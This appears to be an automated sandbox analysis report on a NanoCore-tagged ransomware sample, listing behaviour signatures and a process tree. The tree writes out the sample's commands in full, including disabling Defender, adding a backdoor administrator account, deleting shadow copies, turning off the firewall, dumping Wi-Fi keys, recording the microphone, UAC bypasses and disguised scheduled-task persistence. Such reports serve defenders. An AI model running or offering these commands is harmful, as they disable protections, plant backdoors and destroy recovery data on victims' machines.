Analysis
- max time kernel
40s - max time network
42s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
14/10/2026, 02:58
Errors
Reason
Machine shutdown
General
- Target metadreamteam.io_ransome.exe
- Size 39KB
- Sample261014-dgdstsft8j
- SHA256 b0c8d4cac8a5ddab850fc9f9d48844a4e14193038d1d6298439eafcf976f79ca
Score
10/10
Malware Config
Extracted
Family
-
nanocore
Attributes
-
c2_port
22401
Signatures
- Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Disables one or more Microsoft Defender components 1 TTPs 23 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Modifies Windows Firewall 2 TTPs 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Adds Run key to start application 2 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs
Using powershell.exe command.
- Creates a new local user account 1 TTPs 41 IoCs
Uses net.exe to create a new local user account, often for persistence or a backdoor account.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Interacts with shadow copies 3 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"1⤵
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\21a0d615-aef5-4a45-8201-ea046f3e5341.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\494832a1-0dfa-4201-8219-e90fedaafe46.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e2fdad69-f32f-44ba-89b4-988c9baefec0.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\14466e60-e13a-4d96-925d-8606aa9f4a98.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1d1df7f1-7399-4277-a78b-bf6f60532bc4.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d90e2d59-8714-42fc-baaa-af21f8eadb53.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\844e8e86-6b36-4590-8f9d-e6ecf934a1f5.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"15⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f16⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9efeb4a7-444f-4264-baf7-a5339097d4cf.inf16⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"16⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"17⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"17⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f18⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"18⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"19⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"18⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"18⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"16⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add16⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add17⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add16⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add17⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add15⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"12⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471435865142.wav')"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear8⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet8⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete8⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice8⤵
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off8⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471415708497.wav')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471381334653.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete4⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice5⤵
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471381334653.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\tcpmon.exeC:\Users\Admin\AppData\Local\tcpmon.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b887e8ca-8313-4488-8255-c4662cc48306.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8614f552-ab99-417f-b517-4d9f6ab41def.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\56e1c714-d0b9-47d6-8cf6-5e8a6fc09f74.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\78d38131-9eec-41e9-a6f9-c28d57cb36b3.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8f9bbf3c-726c-4089-9e86-2fbee6e781d3.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7f09ef99-d2db-4ab9-abc5-3aea976c90b7.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f4cdc411-12e8-43b7-b6e9-7bc4c24a2459.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
